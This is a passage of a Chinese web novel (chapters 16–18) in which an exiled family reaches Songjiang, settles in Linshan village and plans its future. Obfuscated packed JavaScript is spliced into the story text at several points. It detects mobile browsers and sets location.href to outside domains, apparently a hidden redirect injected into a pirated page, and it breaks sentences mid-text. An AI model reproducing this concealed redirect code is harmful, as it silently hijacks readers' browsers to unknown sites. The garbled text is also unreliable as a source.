马蹄声近了,顾佑安也能看清楚,打头的真是周长史,跟周长史一块儿的是苏光。 韩掌柜也看到了,他激动问道:“周长史旁边那个是否就是苏大人?” 顾佑安嗯了声,不愿再多说,伸长了脖子,踮着脚往后头看。 祁王府的官兵后头,跟着一群人,顾佑安目不转睛,终于看到爹娘,这才露出个笑来。 顾佑安抱起阿萱叫她看:“爹娘回来了。” 阿萱瞪大了眼睛,又是招手又是大喊:“爹爹,娘亲,阿萱在这人,快看我,哥哥呀。” 顾稳和杜氏也看到两个女儿了,见她们身上穿得干干净净的,小女儿还有力气喊她们,杜氏忍住哭腔,红着眼睛朝女儿跑过去,一把抱住两个女儿。 顾稳和顾文卿也跑来了。 顾佑安笑道:“见爹娘和哥哥都好,我就放心了。” 阿萱忙接话:“我也放心呢。” 杜氏顿时笑起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304736|167118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,亲亲女儿的小脸:“你们俩,可叫我和你爹担心坏了。” 田家人来了,田清德张口就道:“生出这样聪慧机敏的女儿来,你们夫妻还有什么可担心的,要是我,笑都来不及。” 白氏笑着跟顾佑安道:“婶婶要多谢你,若不是你,说不得我们全家都死在土匪窝里了。” 田二郎道:“顾小妹妹,我家欠你四条命,以后你说往东,我绝不往西。” 顾稳仔细看了女儿,回头跟田家人道:“这一路上咱们两家一直互相扶持才走到今日,不必说这些话,伤情分。” 顾佑安顺着她爹的话道:“救你们也是救我爹娘,叔叔婶婶不必这般夸我,我小人家一个,哪里受得起。” 苏光翻身下马,走过来,赞道:“你一个小娘子,比我养的两个儿子都强,该夸,该夸。” 这丫头,带着四岁的妹妹在山里躲了一晚上,隔天还有胆量下山去松江城,路上碰到韩家求救,说的那些话句句拿准了韩家的命门,为他们算计来一条生路。 苏光从周长史嘴里听来那些话,忍不住心惊! 流放这一路,很少听顾家那丫头说话,没想到她竟然是个心有丘壑的,还这般会说话。 苏光对顾佑安满心感谢,就是陆氏向来跟杜氏不对付,今天也为此低头,跟顾佑安道谢,夸了句顾家养了个好女儿。 去了松江城说不得还要借苏家的势,杜氏也不跟陆氏计较,两人说话都还挺客气。 人都到了,顾佑安发现苏家、田家的人都是全的,李家少了三个人,李洪文、李望峰,还有李家唯一的孙子李文旦不在。 驿站一下来了这么多人,房间肯定不够住,这里祁王府最大,自然要先可着祁王府的人先安排。 除了祁王府的人之外,苏光地位特殊,苏家人分了一间屋。顾佑安上报消息有功,顾家自然也有一间屋,李家及青山寨里出来的人,厨房里,牲畜房,自己在地方安置。 顾家跟田家交好,顾稳邀请田家人一块儿住。 两家人住一屋还算方便,顾佑安亲自去跟韩掌柜说,要了几桶热水,两家人都洗了一遍。 晚上熄灯后,顾佑安才听爹娘说,李洪文、李望峰和李文旦都死了。 李望峰想得个自由身,谁知招来的盗匪不是什么讲道理的,上山后就被严刑审问他家金银珠宝在何处,还问有没有另外私藏。 李望峰受不住刑,自然全说了,青山寨的土匪却不信,又把李洪文拖去审问,怕李洪文不肯全然吐口,就把李家唯一的孙子李文旦脱了衣裳丢去门外冻着,逼迫李洪文开口。 “唉,李望峰那厮引贼入室,害死他爹和他侄子,李洪文死不足惜,倒是可惜了那六岁的孩子。” “那孩子罪不至死!” 顾佑安忙问爹娘:“你们可受罪了?” 田二郎笑了声:“盗匪也不傻,知道我们两家是寒门出身,猜准了我们两家没多少油水,就盯着李家和苏家。” “苏家如何了?” “苏光挨了鞭子,苏家那三个孙子孙女也被丢去雪地里冻着,人刚丢出去祁王府的人就到了。” 田二郎转头对顾佑安说:“你对苏家可是有大恩的。” 但凡祁王府知道消息晚了点,苏光不好说,苏家那三个孩子肯定跟李家那个一样,活不下来。 顾佑安倒是不是很在乎苏家,她只在乎她爹娘好不好。 说完几家人,最后提了句黄差役他们,八个差役死了两个,其他几个不敢反抗的都留了条命。 田清德也叹了声:“周长史答应带我们去松江城,明日出发,最迟后日也就到了。” 饥饿,路上的寒暑煎熬,命悬一线,心惊肉跳,流放的这条路,总算要走到头了。 到了松江城,又是新的日子了。 开荒还是做什么,总有他们一条活路。 16.第 16 章 松江城。 高耸的城墙又宽又阔,从城门口走到城里面,顾佑安走了十余步,可见这城墙有多宽。 见顾佑安打量城墙,一旁站着的韩掌柜笑道:“这是松江城的西门,因西门临近祁王府和衙门,若不是去衙门办事,百姓们一般都不从这里过。” “你们走哪边城门过?” “除了西城门不常走,其他三个城门都常走。不过我们行商的多是走南城门。南城门外接着官道,关内来的商队从南城门入城,靠近南城门的东西两条街道最是繁华,各色商铺林立,南北货云集,来往的行商多是落脚在那儿。” 也是因为南城门繁华,除开西城门官眷住的所在之外,南城门附近的地价最贵。 像韩家这样在松江城里排名前列的大商户,他们在南城门附近都是有大宅子的。 守城的小兵检查得很细致,等了好一会儿才轮到顾佑安他们,排在后面的韩掌柜指点道:“别看松江城地方不大,规矩严谨得很,就是祁王府的人进城,该走的流程都少不了,断没有轻放了的。” 说起松江城来,韩掌柜对松江城和祁王府颇多赞誉。 顾佑安看了眼前头的苏家人,心道,祁王既看重苏光这位曾经的先生,怎么苏家人都进城了,也不见祁王来迎接? 祁王府的人进城后,后头排着的人几乎是身无长物,入城就快多了。 黄差役等着所有人都到齐了,带着四家人去衙门交接文书,苏家人也去,周长史自然要陪着。 去衙门之前,周长史客气地跟韩掌柜道谢,还说:“我们殿下前些日子出门巡视去了,这几日不在家,等我们殿下家来,见过苏大人,定会感谢韩掌柜仗义相助。” “哈哈哈,周长史客气。” 韩掌柜一直跟着祁王府的人回松江城,等的就是这句话,如今目的达到了,韩掌柜也就不久留了。 有周长史带路,去衙门交接十分顺利,写新户籍时,周长史跟文书说:“苏家的户籍落在城西二街槐花巷,田家和顾家免去五年开荒,写个寻常民人的户籍,送去东源县。至于李家,就按照规矩来。” 苏家人兴奋激动,苏家两个儿媳更是握紧了婆婆陆氏的手,激动到泪光闪烁。 刚才他们已经听人说了,这里衙门是城西一街,衙门后头就是城西二街,松江城里有官职的人家几乎都住在城西二街。周长史这样安排,这不就是说,他们苏家以后前程就定下了? 太好了,得祁王府庇护,他们苏家的好日子还在后头。 顾家和田家免了五年开荒之路,自然也欣喜万分,只有李家人慌了,柳氏更是面色苍白,几欲晕倒。 那文书笑着道:“周大人,顾家和田家换成民人户籍自然便宜,只是东源县那边,人口颇多,已经安排不了人了,纵使人过去,也难分到田地。” 东源县在松江城的东边,那里靠山临水,又是一片大平原,头一个开荒就是选的东源县,这些年来东源县人口不断滋生,渐渐从村发展成镇,从镇发展成县,新生人口尚没有土地可分,又哪里有土地分给外来户。 “你说送哪里合适?” 文书笑道:“东源县人口住满了不好去,北边那边正开荒,杂乱又不好住,下官瞧着东北角的邻山村不错。邻山村两三年前才开荒出来,地多人少,尚能足额分地。” 按松江城的规矩,十五岁以下的孩童无论男女都分三亩地,十五岁以上男丁分十亩地,女子分八亩地。 像是人多地少的东源县,肯定不能足额分地,但是东北角的邻山村还能做到。 周长史问顾稳和田清德:“你们如何说?” 顾稳和田清德二人对视一眼,皆拱手道:“我等听大人安排。” 周长史满意地点点头:“就这样定下。” 柳氏着急,还未张口就被二儿媳徐氏拦住,徐氏甚至不客气地捂住她的嘴,婆媳俩撕扯起来,无人关心。 周长史要送苏家去城西二街,顾家、田家就跟苏家就此别过了。 交了差,黄差役等人也走了。 文书忙完了,就道:“你们且在衙门等上一等,一会儿来人领你们去。” “多谢大人。”顾稳满心感激。 那文书迈出去的脚又停下,道:“交代你们一句,咱们这儿不比关内,松江城外山多水多野兽多,特别是邻山村那边,靠着老虎岭,老虎岭背后又是绵延不断的山脉,野物更是数不胜数。你们呐,初来乍到,有不懂的多问问近邻,有你们的好处。” “多谢大人提点!” 文书点点头,背着手走了。 顾稳和田清德轻叹,虽到了松江城,以后也不容易。 顾家和田家小声议论邻山村,那边李家婆媳俩大吵起来,柳氏对二儿媳徐氏破口大骂,还叫二儿子休妻。 徐氏冷笑道:“最好是休了我,我去找个寻常百姓再嫁,无论是当后母还是嫁给鳏夫,左右我也不用去开荒受苦。” 李家二儿子李青云拉着徐氏的胳膊不放:“别说气话。” 徐氏甩开李青云,气道:“你不看看你娘说的都是些什么话,李望峰招来土匪害死了人,祁王府没有要咱们的命就偷着乐吧,你娘刚才还想撕扯人家,怎的,还怕我们命太长吗?” “死了人怎的,就是死了人祁王也判不得我们,差役也只能把消息送回洛阳,我柳家出了个贵妃,难道我还怕他们不成?” 徐氏简直被气笑了,能说出这番话来,柳氏已然疯魔了,家中有这么个人,以后日子别想好过。 她扭头对李青云道:“我们虽成婚不足两年,到底夫妻情分还在,我今儿就一句话,要么分家别过,我跟你去开荒;要么我们和离,我另嫁他人,你跟你哥嫂你娘过去。” 李青云沉默。 大嫂谢氏忙劝:“都是一家人,话赶话,说急了眼都是常有的事,弟妹何必这般逼迫二弟。” 徐氏扯了扯嘴角:“大嫂,我看在夫君面上喊你一声大嫂,你若是把我当作张氏任你们拿捏,那你们就打错了主意。你若是撺掇硬是不分家,那咱们就试试,看看这个家,还能烂到什么地步。” 徐氏做出鱼死网破的气势,谢氏也不敢劝,连忙给丈夫使眼色。 李乘风皱眉:“二弟,娘虽然糊涂,到底是你亲娘,你劝劝你媳妇。” 李青云做出了决定:“大哥,分家吧,你是大哥,娘跟你们过,我们夫妻以后若是宽裕,该孝敬娘的,定不会少。” 李乘风还想再开口再劝,徐氏立刻道:“大哥,爹做的那些安排我们是知道的,那笔银子可不小,你们若是现在不肯罢手,那我们就正经分家算算家产,你开口前最好问问大嫂,舍不舍得拿出来分给我们。” 谢氏自然是舍不得,嘴上却还得说:“罢了,你们若是不想伺候娘算了,左右,我和夫君作为长子长媳,该担的责必不会推脱。” 徐氏对李青云道:“你个傻子,听明白了吧。” 李青云震惊,他没想到大哥大嫂手里真握着银钱,既然如此,既然如此……为何文旦被土匪脱了衣裳丢出去冻死,为何大哥大嫂不救? 难道传言是真的? 文旦不是大嫂肚子里出来的?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309590|167118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>那文旦是谁的孩子? 李青云看他娘,他大哥,两人都不说话。 难道娘他们对文旦的宠爱是假的吗? 徐氏冷笑一声,拉着丈夫李青云去一旁,不跟李家人一道。 顾家和田家人听到这儿也震惊了,为了银子自家儿孙都可以不要,什么人才做得出来? 田二郎给顾文卿使眼色,他就说吧,李家这样的大户人家,肯定有门路,肯定早做了打算的。 杜氏气得对柳氏吐口水:“好歹孩子叫你一声祖母,你竟这样叫他冻死在外头,也不怕哪日下了地府,阎王把你们一家下油锅炸了。” “吵什么吵?吵什么吵?” 两个差役进来,横眉竖眼地瞪了一圈,冷哼一声:“谁叫李乘风?” 李乘风忙上前:“我是李乘风。” “点上你家的人,跟我去北荒村。哼,大冬天,尽给小爷找麻烦。” “是是是,麻烦官爷了。” 李家人被叫走了,另一个衙役态度温和许多,顾佑安猜,这位估计是知道顾家跟苏家关系的缘故。 这会儿时辰还早,差役把他们两家人送到邻山村才中午,差役把他们交给里正,差事就算办完了。 邻山村的里正是个识字的,还说的一口标准的官话,他看了两家的户籍,就道:“前些日子下了头场雪,这会儿叫你们建房也晚了,索性前两年开荒留下几间房子还空着,你们若是要住,可租住。” “敢问里正,房子如何租赁?” “开荒留下的房子是衙门里的,开荒后用不上了,就作价卖给留下的人家,若是买不起,也可租赁,价钱也便宜,一间屋十文钱一月。” 那……确实挺便宜的。 邻山村里剩下没被买走的房子有五六户,两家人跟着里正看了房子后,顾家选了村东头一户五间房的房子,田家选了村里一户三间屋的,两家人隔了约莫三里地远。 顾文卿忍不住感叹,这里真是地广人稀啊。 定下了房子,顾佑安站在家门口左右打望,离他们家最近的一户人家,有二里地远,他们家离后头老虎岭倒是近。 顾佑安屋前屋后转悠了一圈,这叫地窨子的房子,一半建在地下,一半在地面上,她还是头一回见。 杜氏推门进屋,一看就知这屋里以前一定住了不少人,五间房,除了一间厨房外,另外四间屋里都修了火炕,墙左右两边都拉通了,一屋里至少能躺十几个人。 “这大炕烧起来有些费柴火。” 就几间空屋子,别说烧炕的柴火,他们连今儿煮饭的柴火都没有。 顾文卿道:“爹,咱们还需找里正帮忙,借来砍刀上山砍柴。” “这个不着急,先问问里正,有没有人家卖柴火的。” 顾文卿震惊:“咱们家还有银子?” 顾稳笑道:“咱们家银子是不多了,不过很快有送来,不信你等着瞧。” 祁王府那边不会薄待苏光,穿的用的自然会给苏家准备好。苏光夫妻俩出身大族,且都是好脸面的,他们宽裕了,自然会想到他们顾家报恩。 顾佑安跟她爹想到一处去了,她也等着借苏家当借口,可以把空间里吃的用的搬出来些,趁着猫冬,好好给全家人养养身体。 阿萱快乐地蹦跶:“姐姐,院子有个洞呀!” 一家人忙出去院子里瞧,杜氏看后笑道:“傻孩子,这是地窖,用来存放东西的。” “咦,地窖里什么都没有。”阿萱蹲地上瞧。 “过几天就有了。” 吃的用的,都少不了。 17.第 17 章 家里什么都没有,许多东西要添置,留下顾文卿照看小女儿,顾稳和杜氏带着大安安去镇上瞧瞧。 顾文卿:“娘,叫安安留下吧,我跟你们去。” 杜氏不让,只说:“咱们家离开猛虎岭不远,放你两个妹妹在家我不放心。” 顾文卿一想也是:“那你们也尽快回来,天儿晚了不安全。” 杜氏把包袱里三个还没吃的干饼子拿给儿子:“你们兄妹俩吃吧,别饿着。” 阿萱嫌弃别开脑袋,她才不想吃这个。 “娘,买好吃的回来,哦!”阿萱仰头期盼着。 杜氏顿时笑道:“吃了一路干饼子了,这会儿倒是嫌弃上了。” 杜氏一边出门一边交代儿子:“院门关紧了。” “哎。” 目送爹娘和妹妹离开,顾文卿关好院门,俯首抱着阿萱去屋里坐着,才坐一会儿,放开阿萱,又躺下。 两只手交握垫在脑后,长叹一口气,顾文卿觉得,好像许久,许久,没有怎么放松的时候了。 阿萱在光秃秃的炕上滚一圈,趴在哥哥头上,扒拉哥哥头发:“哥哥,你头发长虱子没有?” “别闹我,叫我歇一歇。” 这一路走来,又是睡草堆又是跟人挤一块儿,不长虱子就怪了。 阿萱小屁股一扭,滚旁边去了,她盯着屋顶,忍不住嘴痒,又说:“哥哥,咱们家屋里怎么没摆个灯笼呀,我想要红色的,好看。” “哥哥,哥哥……” 顾文卿叹气:“阿萱,你想睡觉吗?” “不想睡觉,我肚子饿。” “肚子饿就来吃饼子。” “切,不想吃。” 阿萱执着地盯着屋顶,嘟着脸颊,小嘴蠕动着,又是饿又是馋嘴:“姐姐给我好吃的。” 兄妹二人都躺炕上,一个想休息,一个想吃好吃的,一个不想搭话,一个话多得烦人,两人说话也是有一句没一句的。 那边,顾佑安跟爹娘已经走出邻山村了,村口外就是一片山林,三人默契地走进去。 家里衣食住行什么都缺,今晚上先要弄些吃的,和保暖的衣物。 顾佑安先去厨房拿锅碗瓢盆等东西出来,顾稳和杜氏看了都觉得不妥当,太好了,不像是大晋朝能有的东西。 这巴掌大的锅,像镜子一般光亮,这刀,精钢打造的,骨头都能斩断,甚至还有陶瓷做的刀。 再说这碗,全是精美的瓷器,女儿拿出来的部分瓷器,他们家还在洛阳时也是用不起的。 “安安呐,就没有陶碗陶盆的?” “也有,就是那些都是巧做拙样儿,日常生活中,观赏性远大于实用性。” 杜氏手里拿着一个塑料盆舍不得放下,真轻巧,也不脆,一看就好用。 “铁打的刀呢?” 顾佑安摇摇头:“在我原来生活的地方寻常很少有用铁制品的,铁制品容易生锈,没人用。” 顾稳叹道,千载时光弹指一挥间,真是想象不到后世寻常百姓家,过的这般好。 “再去找找有没有其他咱们能用的。” “嗯。” 顾佑安去空间厨房里找了一遍,最后去一楼拿粮食时看到柚子为了开农家乐买的那些大铁锅,这肯定用得上吧。 杜氏围着大铁锅转了一圈,又摸了摸:“这铁锅这般薄,耐用吗?别用上三五个月锅就漏了。” “不会,薄虽薄,但是质量好。” 铁锅质量好不好且不知,只看这光滑的模样,就不是手打出来的铁锅。 杜氏道:“也罢,拿回家用上三五日,锅烧黑了就不显眼了。” 顾稳也觉得这锅不出格,可以用。至于碗筷这些,不好用安安拿的,要去镇上买。 再说粮食,顾佑安拿出来的米面粮油都是好东西,特别是大米,舂出来的米没这么白净的。面粉也是如此。 “不是粮食的原因,是因为去壳磨粉的机器的缘故。” 现在就是乡下地方,各家都有一台打米机,磨面机,吃完了自家打就是了,都是吃新鲜的。 顾家一楼杂物间里就有打米磨面的机器,因顾佑安外婆要处理药材,家中还有磨药材的机器。 顾佑安找了又找,找出几袋丢在角落的,一斤包装抽真空的糙米,估计是平日里买东西送的赠品,还没开封。 杜氏感叹:“我的天爷,一袋米竟装的这样好看。” 顾佑安拿出来的红薯、芋头等菜,顾稳道:“松江城不产芋头,不好拿出来。” 顾佑安把芋头放回去,拿出一颗水灵灵的白菜来:“后院种着些白菜、蒜苗、莴笋等鲜菜,那些可以拿出来。在山海关买的干鱼、昆布也可以放着慢慢吃。” 顾稳颔首,这些可以。 “唉,要不是为了避着文卿和萱萱,咱们什么好东西吃不得。”杜氏忍不住叹道。 那确实是,不过女儿的安危远不是这些口腹之欲能比的。 除开吃,再说保暖的衣物棉被等,顾佑安原想拿三套出来,爹娘一套,她和阿萱一套,哥哥一套,杜氏说太张扬了,拿一床棉被出来就行了。 杜氏道:“我跟你们姐俩睡,你爹跟你大哥睡,炕烧着也不冷,原本有一床旧棉被,你再拿一床出来盖就是了。你哥不傻,拿这许多东西回去,他肯定会怀疑。” “那就听娘的。” 一家三口商量好要拿哪些东西出来,缺的东西这会儿去镇上添置,碗筷桶盆等小件且不提,因买了一百斤粮食,及两缸腌菜,另给了二十文钱,掌柜打发小二牵着驴车把买的东西送去顾家。 回去路上,顾稳去里正家走了一趟,打听柴火的事。 “这个容易,村北边有户姓罗的人家,他们家人口多又勤快,往年冬天也砍柴送去卖,你们去找他们家,肯定能买着。” “多谢里正。” 里正笑呵呵目送顾稳出门,关上门口,屋里的里正娘子才开口道:“新来的这户不是流犯么?怎的一来就有银子买这买那的?” “没见识,流犯跟流犯能一样?” 顾家虽是流犯,却免了五年开荒,今日上午衙门差役送他们过来,客气得很,一看就知顾家是有门路的。 “哼,都是流犯了,还分个三六九等,当年我们家流放过来的时候,一家十几口人病的病死的死,最后剩下五六个走到松江城,纵使现在想来,我这心就跟药汁子泡过似的。” 里正叹了声,摇摇头,不愿再说。 顾家三口回到家,顾文卿开门看到爹娘添置了这许多东西,顿时都惊了! 顾稳送走送东西的小二,瞪儿子一眼,还不快把东西抬进去。 “娘,娘,买什么好吃的?”阿萱噔噔噔地跑来。 杜氏怀里揣着四个包子,分给阿萱一个:“是酸菜包子,这是给你们兄妹俩留的。” 顾文卿看了眼包子:“娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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田清德和白氏两人过来顾家,一进门白氏就说:“路上跟苏家都没说过两句话,没想到他们还惦记着我们。给我们每人送了身衣裳,还送了两床棉被,一百斤粮食,我都不好意收。” “没什么不好意收的,等你日子好过了,回头你给苏家回礼就是了。”杜氏拉白氏坐。 田清德对顾稳道:“祁王不在府中,周长史竟能做主给苏家许多东西,苏家还有余力接济我们,想来,苏光以后在松江城里谋个职位也容易。” 顾稳和田清德对视一眼,顾稳就知道田清德为何说这话。 “田兄,咱们和苏家有情分,跟祁王那边……” 田清德笑了身:“我就是说说罢了,也没指望苏光能给咱们安排个职位。” 这不是安顿下来了么,田清德想到明年开春要种地,他就动了找其他活路的心思。 他是庶民出身,一路苦过来的,他最知道种地的辛劳。若是有其他法子过活,种地就别种了吧。 “我家两个儿子,原本都定了婚事,流放时婚约都没了。他们年岁大了,我这个当爹的,总要为他们多想一想。” 顾稳拍拍他肩:“不着急,这个冬天先好好休养吧,待明年再想法子。” 18.第 18 章 家里衣厚粮足,不缺吃穿,田家人走后,杜氏叫父子俩装好大铁锅,先是烧了两大锅水,全家从头到脚洗了一遍,这才换上新衣裳。 随后,用苏家送来的火炉子煮白米捞饭,大铁锅里则煮着风干鸡炖昆布,鸡和昆布都有盐味,这一锅炖出来盐都不必加。 饭做好了,白米捞饭配炖鸡,一家子吃的肚儿圆,满足地躺在暖和的炕上不愿意动弹,碗筷放锅里不想洗,关门闭户,一家子睡的东倒西歪。 这一路来辛苦,从身到心都累狠了。 一家子都不出门,在家除了吃就是睡,半月功夫后,休息足了,顾稳和杜氏才有心思为以后打算。 顾稳想起半月前田清德说的那些话,他道:“田兄想通过苏光去松江城里谋个出路,我看这事儿强求不得。” 杜氏也这样觉得:“苏家那夫妻俩可不是好说话的人,要是客气点说,那叫讲规矩,要是不客气地说,那叫迂腐不知变通。” 顾佑安笑了笑:“我看在路上时,苏家拿李家的好处时,倒是不迂腐,挺知道变通的。” 这话叫杜氏想起李洪文的小妾张氏,不知道她去了哪儿,过得如何了,唉。 顾稳道:“人性如此罢了。现如今苏家到了松江城,有条件讲究些了,自然以前的规矩就拿起来了。” 苏家那日才安顿下来,就迫不及待给顾家送来这些谢礼,顾稳猜,苏家恐怕也怕他们家挟恩图报,沾上他家不松手,所以才下了血本的,那般急切又尽心。 顾佑安想一想苏家夫妻的为人,觉得她爹说得对。 “人家既划出道来了,咱们也要识趣,以后,咱们家还是得靠自己。” 顾文卿道:“咱们家以后种地?” 顾稳点点头:“嗯,既分了地,自然要种上。” 杜氏有些发愁:“里正说明年开春了给咱们家分地,咱们家这一家五口加起来,统共要分得三十九亩地,可该如何种来。” 顾文卿刚想说哪儿有这么多地,随后又想到安安是正月初九的生日,过完年,安安就满十五岁了,及笄了。 按松江城的规矩,女子满十五,可分八亩地。 “别人家既能种,我们家自然也能。”顾稳道:“若是忙不过来,请人帮忙吧,总不能叫土地空着。” 顾稳对顾文卿道:“以后要辛苦你了。” 顾文卿不觉得辛苦,再辛苦能比流放路上辛苦吗? 顾佑安听爹娘说完,她道:“哥哥明年十七了。” 十七,年岁不小了。若不是流放耽误,今年该说亲了。 就说田家两个儿子,田二郎跟她哥一般大,田大郎比她哥大一岁,田叔夫妻俩都在为两个儿子前途和婚事打算了。 杜氏:“才十七而已,男子为了科举,及冠之后成婚也常见得很。” “松江城能考科举?” “松江城考什么科举,要考科举只能去关内,去洛阳。不过,松江城虽不能考科举,但有选官考试,两年一次,文武都有。” 松江城毕竟是小地方,能任用的人不多,文官的选官考试比洛阳会试还难,考武官倒是要容易些,任用的位置也多。 “祁王竟能单独选官任官?”顾文卿不敢置信。 顾稳微微一笑:“先皇时,松江城没这么多人,城里的事情都是离这儿最近的东北将军代管。到今朝,这些年祁王经营得当,松江城人口繁盛,来往商队又多,朝廷管不到这儿,祁王自然能做主。” 法理上讲,松江城是祁王的封地,祁王若是有本事管住,松江城里,他就是皇帝。 顾稳最了解儿子读书的本事,他细细思量后道:“大郎,你于读书一道上本事有限,若是想博个官身,走武官的路子如何?” 顾文卿茫然,武官吗?他行吗? “试试吧,你身量高,就是瘦弱了些,明年种地多出力气,吃食上富裕些,先把身体养起来。等空闲了,我托人打听打听,看看有没有教武学的先生,你跟着学学。” “田家两个孩子,大的那个年十八就已是举人,性情又像田兄,是个胸有成算的,他走文的路子还行。他们家老二读书上差了些,不过脑子灵活又会说话,读书不成,估摸也要走武官的路子。” 先不说祁王府的私军,就是松江城附近的东北军、辽东军两支军队中就有许多位置,当武官出路多。 顾佑安:“爹,东北军和辽东军都是朝廷的军队,哥哥考了武官能去?” “辽东将军那儿麻烦些,不过东北军没问题。” 现任东北将军姓孟,孟将军是祁王的堂舅,两家自来就亲近,东北军即使名义上不是祁王的私兵,也有这个苗头。 前两年顾稳听兵部的一个同僚说,皇上原不想给东北军拨军费,缘由是东北军由姓孟的把持,总管北边各军的镇北都督都插不进手去。 当时,要不是兵部尚书反对,说东北军和燕州军、辽东军互为犄角辖制草原诸部落,不可轻动,那时东北军的军费粮草,只怕就断了。 “东北军原是祁王外祖父孟开的旧部,后头人没了,才传到二儿子孟川手中。当年就是因为不好动东北军却又要用他们,先皇为了控制东北军,这才娶孟开的女儿为继皇后,才生了祁王。” 前些年,孟皇后去世,孟皇后有话不入皇陵,要葬到家乡松江城,先皇答应了。 谁知,孟皇后去世不过两月,先皇驾崩,当今皇帝周宣趁祁王来松江城给孟皇后送葬时,迅速夺位后立刻发旨,说体念小皇叔祁王为人子的孝心,准许祁王留在松江城为母守孝三年,不需回京。 周宣即位后,把宫斗完还活着的几个叔叔分封出去时,顺手把松江城赐给祁王,作为祁王的封地。 自流放后,在路上煎熬这几月,顾佑安看事情的出发点,迅速从法制健全的现代社会转换到不讲规矩只讲权势的大周朝。 顾佑安听她爹说清前后缘由,斟酌道:“分封制可不是什么好法子,若当今皇帝逼的太狠,祁王真动了心思,起兵造反,胜算也不小。” 在顾佑安心里,洛阳城里那位宫斗赢家上位的皇帝,排除异己手段颇多,为政眼光却不怎么样。 就顾佑安目前听来的消息,祁王的手腕比当今皇帝高出一大截儿,祁王手里还有他外祖父留下的东北军,他还是皇子,还曾被大臣联名举荐。 只要找个合适的借口,祁王若是举兵,这不是什么都齐备了么。 顾稳:“皇家的事,不是我们家这样的身份能考虑的。” 顾文卿听爹和妹妹说完后,他下了决定:“听爹的安排,我改学武。” 阿萱凑过来:“哥哥,我也学。” 杜氏抱起小女儿,笑道:“学,你学,安安也学,咱们都学。关外不如关内安生,学些本事也好护住自己个。” 顾稳看着两个女儿眉眼含笑:“外头还在下雪,不好出门,等明儿雪停了,我去找田兄商量商量。” 顾家人这段日子在家休养不出门,田家也是差不多情况,隔天早上雪停了,顾稳独自出门去田家。 杜氏把儿子叫起来:“文卿,出来活动活动,把院子里雪扫了。” “哎,这就来。” 顾文卿穿上棉衣出门去,顾佑安去厨房检查家里囤的东西,苏家送的干鸡吃完了,腊肉还剩下一点,顾佑安从空间里拿出几条腊肉放进去。 空间里还有养着的鸡鸭,鸡蛋鸭蛋也囤了一篓了,还有在山海关买的冻鱼,这会儿不好拿出来。 “姐姐,你干嘛呢?” 阿萱噔噔噔地跑过来,顾佑安关上柜子,笑着道:“看看家里有什么好吃的。” 阿萱嘿嘿地笑:“咱们跟娘说,今儿中午吃炖肉吧。” 顾佑安看了眼灶台上罩着的半盆面团:“中午咱们吃包子。” “哎呀,不想吃包子,想吃肉。”阿萱扯着姐姐胳膊撒娇。 “你跟我说也没用,我做不了主呀。” 顾佑安牵着她出门,转头去屋里拿篦子坐下:“过来,我给你篦一篦头发。” “不要,疼。”阿萱扭头要跑。 “不疼,我轻一点。”顾佑安立刻伸手薅住她。 “那你说的呀,疼了我要哭的。” 顾佑安顿时笑了:“再篦几回,若是没有虱子了,就不用了。” “好嘛。” 阿萱胡乱扒拉下头发,趴在姐姐怀里摇头晃脑的,跟个乱毛小狗狗一般。 顾文卿扫完雪进屋,提着木桶去外头装雪,阿萱瞧见了,小大人一般殷殷嘱咐:“大哥,要干净的雪嗷。” 顾文卿笑看她一眼,点头说好。 杜氏去厨房看面发的如何了,顾佑安一个没注意,阿萱顶着一头乱毛跑去厨房:“娘,想吃肉。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15323958|167118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “家里就这么半块肉了,吃了就……” 杜氏打开柜子,看到多出来的几条腊肉,随即改口:“那中午切半块腊肉,和白菜拌一起,做腊肉白菜馅儿包子。” “好哇好哇。” 阿萱快活地跑去找姐姐:“姐姐,娘说中午吃腊肉白菜包子哦。” 顾佑安把她拉过去,梳了两个小髻,慢慢道:“想不想吃鱼?” “不吃,刺,难受。” “海鱼刺儿少。” “那我们吃海鱼。” 阿萱又跑去厨房找娘,顾佑安跟着过去。 杜氏瞪小女儿:“你这个丫头,刚才还说吃肉,这会儿要说吃鱼,谁家小姑娘像你这般嘴馋的。” 阿萱哼哼着撒娇:“吃嘛吃嘛。” 顾佑安笑着搭话:“娘,咱们找空闲去趟松江城?” 